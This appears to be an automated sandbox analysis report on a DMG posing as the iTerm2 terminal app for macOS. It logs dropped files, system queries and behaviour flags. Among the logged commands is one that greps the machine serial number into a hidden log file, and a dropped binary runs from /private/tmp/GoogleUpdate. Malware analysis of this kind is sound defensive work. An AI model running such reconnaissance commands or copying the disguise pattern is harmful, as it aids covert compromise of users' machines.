Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermDependencyEditorWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermEditKeyActionWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermEditSnippetWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermGlobalSearch.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermHelpMessageViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermHotkeyPreferencesWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermJobTreeViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermKeyMapping.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermKeyMapping.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermMinimalComposerViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermMiniSearchFieldViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermOnboardingWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermOpenQuicklyWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermOptionalComponentDownloadWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermParameterPanelWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermPasswordManager.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermPasteSpecialViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermPasteSpecialWindow.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermPreferencesSearchEngineResultsWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermPrintAccessoryViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermSavePanelFileFormatAccessory.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermScriptConsole.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermScriptInspector.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermScriptTemplatePickerWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermShellIntegrationWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermSnippetsEditingViewController.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermSnippetsEditingViewController.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermsStatusBarComposerViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermStatusBarKnobCheckboxViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermStatusBarKnobColorViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermStatusBarKnobNumericViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermStatusBarKnobTextViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermStatusBarLargeComposerViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermStatusBarSetupCollectionViewItem.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermStatusBarSetupConfigureComponentWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermStatusBarSetupViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermTextPopoverViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermTipCardViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermTipWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermTriggersPanel.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermTriggersPanel.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermWindowShortcutAccessoryView.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/MainMenu.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Resources/MigrationMap.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/MinimalFindView.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/MinimalPasteView.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/MiniPasteView.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/Model.momd/Model.mom	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/Model.momd/VersionInfo.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/NumberOfSpacesAccessoryView.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/PasteboardHistory.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/PasteboardHistory.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/PasteView.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/PreferencePanel.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/PreferencePanel.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Resources/PresetKeyMappings.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/ProfilesWindow.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/PseudoTerminal.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Resources/SmartSelectionRules.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/SplitPanel.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/TmuxDashboard.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/TmuxDashboard.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/UKCrashReporter.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/XPCServices/iTerm2SandboxedWorker.xpc/Contents/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/XPCServices/iTerm2SandboxedWorker.xpc/Contents/Info.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/XPCServices/pidinfo.xpc/Contents/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/XPCServices/pidinfo.xpc/Contents/Info.plist	Jump to dropped file
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Binary plist file created: /Users/ben/Library/Application Support/iTerm2/parsers/61f0eacafe31ee23eacad29d9809fc0e040cdc6841bbb3e0c736cc9c53cc9e15	Jump to dropped file

Source: extracted file from DMG submission	CodeResources XML file: iTerm/iTerm.app/Contents/XPCServices/iTerm2SandboxedWorker.xpc/Contents/_CodeSignature/CodeResources
Source: extracted file from DMG submission	CodeResources XML file: iTerm/iTerm.app/Contents/XPCServices/pidinfo.xpc/Contents/_CodeSignature/CodeResources
Source: extracted file from DMG submission	CodeResources XML file: iTerm/iTerm.app/Contents/_CodeSignature/CodeResources

Source: /usr/bin/xattr (PID: 1068)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python			Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/bin/python (PID: 1102)	Python framework application: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python			Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist	Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/BetterFontPicker -> Versions/Current/BetterFontPicker	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Resources -> Versions/Current/Resources	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/Current -> A	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/ColorPicker -> Versions/Current/ColorPicker	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Resources -> Versions/Current/Resources	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/Current -> A	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/CoreParse -> Versions/Current/CoreParse	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Resources -> Versions/Current/Resources	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Versions/Current -> A	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Headers -> Versions/Current/Headers	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/NMSSH -> Versions/Current/NMSSH	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Resources -> Versions/Current/Resources	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/Current -> A	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Resources -> Versions/Current/Resources	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/SearchableComboListView -> Versions/Current/SearchableComboListView	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/Current -> A	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Headers -> Versions/Current/Headers	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Modules -> Versions/Current/Modules	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/PrivateHeaders -> Versions/Current/PrivateHeaders	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Resources -> Versions/Current/Resources	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Sparkle -> Versions/Current/Sparkle	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fr_CA.lproj -> fr.lproj	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt.lproj -> pt_BR.lproj	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Framework directory Symbolic link created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/Current -> A	Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Random device file read: /dev/urandom	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1068)	Random device file read: /dev/urandom	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Random device file read: /dev/urandom	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Random device file read: /dev/urandom	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Process path indicates hidden application bundle (probably to disguise it)

Show sources

Source: /usr/libexec/xpcproxy (PID: 1071)

Application without .app extension: /Applications/iTerm.app/Contents/XPCServices/pidinfo.xpc/Contents/MacOS/pidinfo

Jump to behavior

Source: /bin/sh (PID: 1050)	Sleep executable: /bin/sleep -> /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1052)	Sleep executable: /bin/sleep -> /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1054)	Sleep executable: /bin/sleep -> /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1056)	Sleep executable: /bin/sleep -> /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1058)	Sleep executable: /bin/sleep -> /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1060)	Sleep executable: /bin/sleep -> /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1062)	Sleep executable: /bin/sleep -> /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1064)	Sleep executable: /bin/sleep -> /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1066)	Sleep executable: /bin/sleep -> /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1049)	Sleep executable: /bin/sleep -> /bin/sleep 5	Jump to behavior

Source: iTerm2, 00001036.00000305.1.0000000110017000.000000011001d000.r--.sdmp	Binary or memory string: framework.vmnet
Source: iTerm2, 00001036.00000305.1.0000000110017000.000000011001d000.r--.sdmp	Binary or memory string: framework.vmnet$

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Sysctl read request: kern.safeboot (1.66)	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Sysctl read request: kern.safeboot (1.66)	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Sysctl read request: kern.safeboot (1.66)

Language, Device and Operating System Detection:

Queries the unique Apple serial number of the machine

Show sources

Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1108)	IOPlatformSerialNumber keyword found in command: /bin/sh /bin/sh -c ioreg -l \| grep IOPlatformSerialNumber >>/Users/ben/Library/Logs/tmp/root.txt	Jump to behavior
Source: /bin/sh (PID: 1110)	IOPlatformSerialNumber keyword found in command: /usr/bin/grep grep IOPlatformSerialNumber	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1117)	IOPlatformSerialNumber keyword found in command: /bin/sh /bin/sh -c ioreg -l \| grep IOPlatformSerialNumber	Jump to behavior
Source: /bin/sh (PID: 1119)	IOPlatformSerialNumber keyword found in command: /usr/bin/grep grep IOPlatformSerialNumber	Jump to behavior

Reads process information of other processes

Show sources

Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Sysctl requested: kern.proc.pid (1.14.1) only found for 1.14.1.1087 -> queries PID 1087	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Sysctl requested: kern.proc.pid (1.14.1) only found for 1.14.1.1084 -> queries PID 1084	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Sysctl requested: kern.proc.pid (1.14.1) only found for 1.14.1.1088 -> queries PID 1088	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.1088 -> queries PID 1088	Jump to behavior

Source: /bin/sh (PID: 1109)	IOreg executable: /usr/sbin/ioreg ioreg -l			Jump to behavior
Source: /bin/sh (PID: 1118)	IOreg executable: /usr/sbin/ioreg ioreg -l			Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1044)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1068)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1045)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/bash (PID: 1088)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1099)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1102)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1103)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /usr/bin/uname (PID: 1104)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1107)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/bash (PID: 1107)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1108)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1111)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1112)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1114)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1115)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1117)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 1120)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /private/tmp/GoogleUpdate (PID: 1124)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/bash (PID: 1072)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Sysctl requested: kern.hostname (1.10)

Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Sysctl read request: hw.availcpu (6.25)			Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Sysctl read request: hw.availcpu (6.25)

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1068)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1068)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1102)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1102)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /usr/bin/uname (PID: 1104)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /usr/bin/uname (PID: 1104)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /private/tmp/GoogleUpdate (PID: 1124)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /private/tmp/GoogleUpdate (PID: 1124)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Sysctl requested: kern.ostype (1.1)
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Sysctl requested: kern.osrelease (1.2)

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
